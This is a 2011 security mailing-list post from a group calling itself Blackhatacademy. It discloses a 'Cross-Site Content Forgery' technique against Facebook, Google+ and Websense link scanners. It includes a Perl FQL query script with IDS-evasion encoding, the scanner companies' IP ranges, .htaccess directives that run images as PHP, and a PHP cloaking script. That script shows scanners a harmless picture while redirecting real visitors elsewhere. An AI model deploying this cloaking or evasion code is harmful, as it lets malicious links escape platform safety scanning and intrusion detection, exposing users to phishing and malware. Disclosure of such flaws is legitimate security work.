Facebook / Google+ Cross Site Content Forgery

`Blackhatacademy has asked me to post this to the mailing list as im one  
of the instructors there, I did not personally develop the exploit,  
please direct questions regarding it to hatter on irc.blackhatacademy.org  
  
  
Overview  
  
  
Over the years, facebook has been vulnerable to numerous web  
exploitation  
<http://www.blackhatacademy.org/security101/index.php?title=Web_Exploitation>  
techniques, such as XSS  
<http://www.blackhatacademy.org/security101/index.php?title=XSS>, FQL  
injection (similar to SQL injection  
<http://www.blackhatacademy.org/security101/index.php?title=SQL_injection>),  
application worms, and redirect protection bypass. Because they continue  
to attempt to write their own language implementations, they are  
repeatedly vulnerable. Security by obscurity doesn't work if they  
document their own markup language  
<http://developers.facebook.com/docs/reference/fbml/> and query language  
<http://developers.facebook.com/docs/reference/fql/> for attackers.  
  
  
History  
  
XSS <http://www.blackhatacademy.org/security101/index.php?title=XSS> in  
facebook first started out as a flaw in their fbml  
<http://developers.facebook.com/docs/reference/fbml/> markup and  
subsequently became evident in a variety of facebook applications.  
Applications  
<http://www.blackhatacademy.org/security101/index.php?title=Applications> also  
exposed users to third party attacks that could affect a user's web  
browser or force actions as the affected user. Now there is a way to  
bypass content restrictions on links and posts put on a user's public  
wall. Facebook was notified of these vulnerabilities  
<http://www.blackhatacademy.org/security101/index.php?title=Vulnerability>  
on July 31st, 2011. To date (October 4, 2011) Facebook has yet to do  
anything about this; demonstrating a deplorable lack of reasonable care  
for all of their users. For this reason, the vulnerability  
<http://www.blackhatacademy.org/security101/index.php?title=Vulnerability>  
proof of concept code is being brought to light. Facebook has only  
recently purchased websense to attempt to push this vulnerability under  
the rug, however the exploit still works.  
  
  
FQL  
  
Simply requiring an API key for privileged queries does not protect  
facebook from people arbitrarily obtaining one. Facebook was even so  
kind as to give a reference of tables and columns in the documentation  
for FQL. To access Facebook's FQL API, it takes only a well-formed HTTP  
request with an embedded API key to return a valid XML object. FQL Does  
not allow the use of JOINS, however it is not needed as everything is  
thoroughly documented. Attackers can misuse this during the creation of  
a malicious facebook application or directly on the FQL development api  
page for information gathering. The implementation below uses  
LibWhisker2 for IDS evasion via session splicing.  
  
#!/usr/bin/perl  
use warnings;  
use XML::Simple;  
use LW2;  
use Getopt::Std;  
my %opts;  
getopts('q:',\%opts);  
my $query = $opts{q} if defined $opts{q};  
$query = "SELECT pic_big FROM user WHERE uid=6666666" unless defined $opts{q};  
my $ref = fqlQuery($query);  
foreach my $parent (sort keys %{$ref}) {  
if (%{$ref->{$parent}}) {  
print "$parent: \n";  
foreach my $key (sort keys %{$ref->{$parent}}) {  
if (%{$ref->{$parent}->{$key}}) {   
print "\t$key : \n";  
foreach my $mojo (sort keys %{$ref->{$parent}->{$key}}) {  
print "\t\t$mojo : ";  
print $ref->{$parent}->{$key}->{$mojo};  
print "\n";  
}  
} else { print "\t$key : ";  
print $ref->{$parent}->{$key};  
print "\n";  
}  
}  
} else {  
print "$parent : " . $ref->{$parent} . "\n";  
}  
}  
sub fqlQuery {  
my $q = shift;  
$q =~ s/ /%20/g;  
my $link = "http://api.facebook.com/method/fql.query?query=$q";  
my $text = download($link,"api.facebook.com");  
my $ref = XMLin($text);  
return($ref);  
}  
sub download  
{  
my $uri = shift;  
my $try = 5;  
my $host = shift;  
my %request;  
my %response;  
LW2::http_init_request(\%request);  
$request{'whisker'}->{'method'} = "GET";  
$request{'whisker'}->{'host'} = $host;  
$request{'whisker'}->{'uri'} = $uri;  
$request{'whisker'}->{'encode_anti_ids'} = 9;  
$request{'whisker'}->{'user-agent'} = "";  
LW2::http_fixup_request(\%request);  
if(LW2::http_do_request(\%request, \%response)) {  
if($try < 5) {  
print "Failed to fetch $uri on try $try. Retrying...\n";  
return undef if(!download($uri, $try++));  
}  
print "Failed to fetch $uri.\n";  
return undef;  
} else {  
return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'});  
}  
}  
  
  
Content Forgery  
  
While most major sites that allow link submission are vulnerable to this  
method, sites including websense, google+, and facebook make the  
requests easily identifiable. These sites send an initial request to the  
link in order to store a mirror thumbnail of the image, or a snapshot of  
the website being linked to. In doing so, many use a custom user agent,  
or have IP addresses  
<http://www.blackhatacademy.org/security101/index.php?title=IP_address>  
that resolve to a consistant domain name. Facebook IP addresses  
<http://www.blackhatacademy.org/security101/index.php?title=IP_address>  
resolve to tfbnw.net, also set a custom user agent of  
"facebookexternalhit". Google+ (Also notified Jul. 31st and guilty of  
reasonable care) again follows suit and utilizes "Feedfetcher-Google" as  
their user agent. Knowing this, we can easily filter out requests coming  
from these websites, and offer up a legitimate image to be displayed on  
their site, while redirecting or displaying a completely different page  
to anyone that follows the links. Facebook's recent partnership with  
websense is laughable, due to websense's "ACE" security scanner that is  
just as easily identified, by using gethostbyaddr in order to resolve  
the IP back to websense.com. Utilizing this technique, would allow an  
overwhelming number of malware sites to remain undetected to their  
automatic site analysis. Other places like digg.com either spoof a user  
agent to look like normal traffic, or forward the client's user agent,  
which makes it more difficult to catch every one of their requests.  
Fortunately, digg.com only requests the link once, prior to submitting  
the link to the world. This allows attackers to serve up a legitimate  
image until that initial request clears our server, and then replace it  
with a less than honest file. We have affectionately named this  
vulnerability class Cross-Site Content Forgery  
<http://www.blackhatacademy.org/security101/index.php?title=XSCF>.  
  
  
Screenshots & Video  
  
Facebook <http://i.imgur.com/rJf7G.jpg> Google+ <http://i.imgur.com/GSL2s.jpg> Youtube video of PoC for both <http://www.youtube.com/watch?v=w6trQc0vWH4>  
  
  
CIDR  
  
CIDR ranges can also be checked as well. A list of netranges is below,  
followed by an htaccess and PoC code for a jpeg file.  
  
  
Websense  
  
*ASN 13448*  
  
86.111.216.0/21  
204.15.64.0/21  
208.80.192.0/21  
208.87.232.0/21  
192.132.210.0/24  
206.169.148.0/24  
67.117.201.128/28  
80.69.16.112/29  
2605:7000::/32  
2620:0:C0::/48  
  
  
Facebook  
  
*ASN 32934/54115*  
  
173.252.64.0/18  
69.171.224.0/19  
66.220.144.0/20  
69.63.176.0/20  
31.13.24.0/21  
74.119.76.0/22  
65.204.104.128/28  
66.92.180.48/28  
212.187.194.160/28  
212.187.196.96/28  
67.200.105.48/29  
66.93.78.176/29  
66.199.37.136/29  
2620:0:1C00::/48  
  
  
Proof of Concept  
  
In order to exploit this flaw, JPG images will need to have a custom  
mimetype returned. This can be accomplished via the following .htaccess  
directives:  
  
AddType x-httpd-php .jpg  
AddHandler application/x-httpd-php .jpg  
  
<?php  
# User agent checking methods  
$fb_string = '/facebookexternal/i'; # facebookexternal shows in the facebook content scanner's user agent  
$gplus_string = '/Feedfetcher-Google/i'; # googleplus shows up in the user agent as well.  
# rDNS Lookup Methods  
$host_websense = '/websense.com/i'; # Checking the rdns for websense filters  
$host_fb = '/tfbnw.net/i'; # Checking the rdns for tfbnw.net - facebook host  
# Load the request properties  
$u_agent = $_SERVER['HTTP_USER_AGENT'];  
$u_ref = $_SERVER['HTTP_REFERER'];  
$u_host = gethostbyaddr($_SERVER['REMOTE_ADDR']);  
# If we're coming from or facebook or websense or google plus,   
if (preg_match($host_fb,$u_host) || preg_match($host_websense,$u_host) || preg_match($fb_string,$u_agent) || preg_match($gplus_string,$u_agent)) {  
# Display an image  
header('Content-Type: image/jpeg');  
@readfile ('/var/www/localhost/cute_kitten.jpeg');  
} else {  
# Rickroll this unsuspecting user  
header('Location: http://www.youtube.com/watch?v=dQw4w9WgXcQ&ob=av3e');  
}  
?>  
  
`